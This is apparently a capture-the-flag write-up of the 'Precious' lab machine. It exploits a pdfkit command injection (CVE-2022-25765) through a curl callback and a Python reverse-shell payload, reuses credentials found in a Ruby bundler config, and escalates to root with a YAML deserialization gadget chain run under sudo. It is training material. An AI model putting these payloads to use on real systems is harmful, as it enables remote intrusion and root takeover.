Precious - Writeup

Abdoulkader MOUSSA MOHAMED

April 2023

1 Introduction

The company Precious operates a website that enables users to convert a webpage to a PDF format by entering its URL. Once the conversion process is complete, the resulting PDF file is downloaded.

2 Enumeration

```
$ nmap -sV -sC 10.10.11.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-04 21:00 CET
Nmap scan report for 10.10.11.189
Host is up (0.038s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx/1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
16
17 Service detection performed. Please report any incorrect results at
       https://nmap.org/submit/ .
18 Nmap done: 1 IP address (1 host up) scanned in 23.45 seconds
```

According to `nmap`, there are two open services on this machine, namely `SSH` on port 22 and `HTTP` on port 80.
With gobuster, any interesting file or directory was discovered.

3 Access the website

We create and launch our own python webserver. We give to the website the link to it : `http://10.10.16.5:5431?a=hello`.

Upon inspection, it appears that a `GET` request was successfully made to our webserver, resulting in the automatic download of the generated PDF file.

```
1 $ python3 -m http.server 5431
2 Serving HTTP on 0.0.0.0 port 5431 (http://0.0.0.0:5431/) ...
3 10.10.11.189 - - [30/Mar/2023 08:16:21] "GET /?a=hello HTTP/1.1"
      200 -
```

Let's now analyze the pdf. By using the command `pdfinfo`, we can observe that the pdf has been generated by `pdfkit v0.8.6` .

```
1 $ pdfinfo epe64bwhtm8mo9s55lyxn9mk86b0hbih.pdf
2 Creator:         Generated by pdfkit v0.8.6
3 Custom Metadata: no
4 Metadata Stream: yes
5 Tagged:          no
6 UserProperties:  no
7 Suspects:        no
8 Form:            none
9 JavaScript:      no
10 Pages:          1
11 Encrypted:      no
12 Page size:      612 x 792 pts (letter)
13 Page rot:       0
14 File size:      19017 bytes
15 Optimized:      no
16 PDF version:    1.4
```

We can find the `CVE-2022-25765` that impacts the version of pdfkit being used and we observe that it is vulnerable to command injection. We can even find a `POC`(Proof Of Concept) here.

Let's test it ourselves. We launch our python webserver and give the following URL to the website :

```
1 URL: http://10.10.16.5:5431?name=#{'%20`curl http
      ://10.10.16.5:5431?test=test`'}
2
```

```
$ python3 -m http.server 5431
Serving HTTP on 0.0.0.0 port 5431 (http://0.0.0.0:5431/) ...
10.10.11.189 - - [30/Mar/2023 08:33:34] "GET /?test=test HTTP/1.1"
    200 -
10.10.11.189 - - [30/Mar/2023 08:33:34] "GET /?name= HTTP/1.1" 200
    -
```

It's indeed vulnerable to command injection. Now, we have to set up a `reverse shell`. They are many reverse shell generator online like here. We generated with it the following one :

```
export RHOST="10.10.16.5";export RPORT=5431;python3 -c 'import sys,
    socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),
    int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in
    (0,1,2)];pty.spawn("/bin/sh")'
```

Now we enter it on the website, we launch a netcat listener and we successfuly get a reverse shell.

```
URL: http://10.10.16.5:5431?name=#{'%20`export RHOST="10.10.16.5";
    export RPORT=5431;python3 -c 'import sys,socket,os,pty;s=socket
    .socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))
    ));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/
    sh")'`'}

$ nc -lvnp 5431
listening on [any] 5431 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.189] 50576
$ id
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)

$ cd /home/ruby
$ ls -al
total 28
..
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle

$ ls -a .bundle
.  ..  config

$ cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
```

The `.bundle/config` file is typically used by the bundler tool in Ruby to store configuration options. We found in it some credentials.

An ssh connection with those credentials succeeded.

```
$ ssh henry@10.10.11.189
henry@10.10.11.189's password:
..
Last login: Thu Mar 30 05:04:46 2023 from 10.10.14.50

-bash-5.1$ cat user.txt
userflag*******

```

```
-bash-5.1$ sudo -l
..
User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
```

With `sudo -l`, we can see that Henry can execute with root privilege the program `/opt/update_dependencies.rb`. Let's look at its content.

```
-bash-5.1$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "
    dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.
    map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one
    specified in file: " + local_name
            else
                puts "Installed version is equals to the one
    specified in file: " + local_name
            end
        end
    end
end
```

This ruby program compares the dependencies specified in `dependencies.yml` with those installed localy. So for that the program will load the dependencies specified in the `dependencies.yml` file.

After searching about how to do some `injection` on yml file, we found here this program :

```
---
 - !ruby/object:Gem::Installer
     i: x
 - !ruby/object:Gem::SpecFetcher
```

```
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: sleep 600
         method_id: :resolve
```

We put this program in `dependencies.yml` and we launch it like `sudo /usr/bin/ruby /opt/update_dependencies.rb`.

We replace `sleep 600` with `ls -l /root/root.txt`, then with `cat /root/root.txt` and we get our flag.

4 How to correct it

The vulnerability that we exploited was that `pdfkit` was vulnerable to command injection. However, that version of `pdfkit` had a known vulnerability(CVE) and it was necessary to update to a more secure version.